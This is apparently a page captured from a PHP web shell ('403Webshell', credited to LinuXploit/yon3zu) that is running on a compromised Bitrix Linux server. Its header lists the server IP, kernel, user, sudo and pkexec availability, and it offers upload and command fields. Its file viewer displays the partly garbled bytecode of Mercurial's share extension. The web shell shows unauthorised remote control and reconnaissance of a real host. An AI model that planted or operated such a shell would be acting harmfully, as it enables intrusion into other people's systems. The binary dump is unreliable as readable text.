403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :

[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/__pycache__/share.cpython-39.opt-1.pyc
a

�+�bi�	@s�dZddlmZddlZddlmZddlmZmZm	Z	m
Z
mZmZm
Z
mZiZe�e�ZdZeddd	ded
�fddded
�fddded�fged�ejdd�d'dd��Zedgdejd�dd��Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�ZdS)(aU
share a common history between several working directories

The share extension introduces a new command :hg:`share` to create a new
working directory. This is similar to :hg:`clone`, but doesn't involve
copying or linking the storage of the repository. This allows working on
different branches or changes in parallel without the associated cost in
terms of disk space.

Note: destructive operations or extensions like :hg:`rollback` should be
used with care as they can result in confusing problems.

Automatic Pooled Storage for Clones
-----------------------------------

When this extension is active, :hg:`clone` can be configured to
automatically share/pool storage across multiple clones. This
mode effectively converts :hg:`clone` to :hg:`clone` + :hg:`share`.
The benefit of using this mode is the automatic management of
store paths and intelligent pooling of related repositories.

The following ``share.`` config options influence this feature:

``share.pool``
    Filesystem path where shared repository data will be stored. When
    defined, :hg:`clone` will automatically use shared repository
    storage instead of creating a store inside each clone.

``share.poolnaming``
    How directory names in ``share.pool`` are constructed.

    "identity" means the name is derived from the first changeset in the
    repository. In this mode, different remotes share storage if their
    root/initial changeset is identical. In this mode, the local shared
    repository is an aggregate of all encountered remote repositories.

    "remote" means the name is derived from the source repository's
    path or URL. In this mode, storage is only shared if the path or URL
    requested in the :hg:`clone` command matches exactly to a repository
    that was cloned before.

    The default naming mode is "identity".

.. container:: verbose

    Sharing requirements and configs of source repository with shares:

    By default creating a shared repository only enables sharing a common
    history and does not share requirements and configs between them. This
    may lead to problems in some cases, for example when you upgrade the
    storage format from one repository but does not set related configs
    in the shares.

    Setting `format.exp-share-safe = True` enables sharing configs and
    requirements. This only applies to shares which are done after enabling
    the config option.

    For enabling this in existing shares, enable the config option and reshare.

    For resharing existing shares, make sure your working directory is clean
    and there are no untracked files, delete that share and create a new share.
�)�absolute_importN)�_)�	bookmarks�commands�error�
extensions�hg�	registrar�txnutil�utilsships-with-hg-core�share�Usnoupdates!do not create a working directory�B�	bookmarkssalso share bookmarks�srelatives%point to source using a relative paths[-U] [-B] SOURCE [DEST]T)�helpcategoryZnorepoFcCstj||||||d�dS)a�create a new shared repository

    Initialize a new repository and working directory that shares its
    history (and optionally bookmarks) with another repository.

    .. note::

       using rollback or extensions that destroy/modify history (mq,
       rebase, etc.) can cause considerable confusion with shared
       clones. In particular, if two shared clones are both updated to
       the same changeset, and one of them destroys that changeset
       with rollback, the other clone will suddenly stop working: all
       operations will fail with "abort: working directory has unknown
       parent". The only known workaround is to use debugsetparents on
       the broken clone to reset it to a changeset that still exists.
    )�dest�updater�relativer)r�share)�ui�sourcerZnoupdaterr�r�1/usr/lib64/python3.9/site-packages/hgext/share.pyr\s$�rsunshare)rcCs&|��st�td���t�||�dS)zuconvert a shared repository to a normal one

    Copy the store data to the repo and remove the sharedpath data.
    sthis is not a shared repoN)�sharedrZAbortrr�unshare)r�reporrrr�srcOsH|�dd�}|rt�|�}||�dd�d�|d<|||g|�Ri|��S)Nr�pools
poolnaming)rsmodeZ	shareopts)ZconfigrZ
expandpath)�origrr�argsZoptsZpoolrrr�clone�s

�
r cCsBt�tdt�t�tjdt�t�tjdt�t�tj	dt
�dS)Ns
_getbkfiles
_recordchanges
_writereposclone)rZwrapfunctionr�	getbkfileZbmstore�recordchange�	writerepoZwrapcommandr�tabler )rrrr�extsetup�sr%c
Csbt�|�rdSz|j�d���}Wn4tyV}z|jtjkr@�WYd}~dSd}~00tj	|vS)z.Returns whether this repo has shared bookmarksFssharedN)
rZbookmarksinstore�vfs�read�
splitlines�IOError�errno�ENOENTrZsharedbookmarks)rr�instrrr�_hassharedbookmarks�s
r-c
Cs�t|�r~t�|�}|dur~z,t�|j|jd�\}}|r<|WS|��Wn2tyx}z|j	t	j
krd�WYd}~n
d}~00|}||�S)Nr)r-r�sharedreposourcer
Z
trypending�rootr&�closer)r*r+)rr�srcrepo�fp�pendingr,rrrr!�s

�r!csF|�|�t�j�rBt��j���durBd}|�|��fdd��dS)Nsshare-bookmarkscs
����S�N)Z
_writerepo)�tr��selfr1rr�<lambda>�rzrecordchange.<locals>.<lambda>)r-�_reporr.Zaddpostclose)rr7r5�categoryrr6rr"�s

r"cCs6|||�t|j�r2t�|j�}|dur2|||�dSr4)r-r9rr.)rr7rr1rrrr#�s


r#)NFFF)�__doc__Z
__future__rr*Zmercurial.i18nrZ	mercurialrrrrrr	r
rZcmdtableZcommandZ
testedwithZCATEGORY_REPO_CREATIONrZCATEGORY_MAINTENANCErr r%r-r!r"r#rrrr�<module>s>>(
��
��




Youez - 2016 - github.com/yon3zu
LinuXploit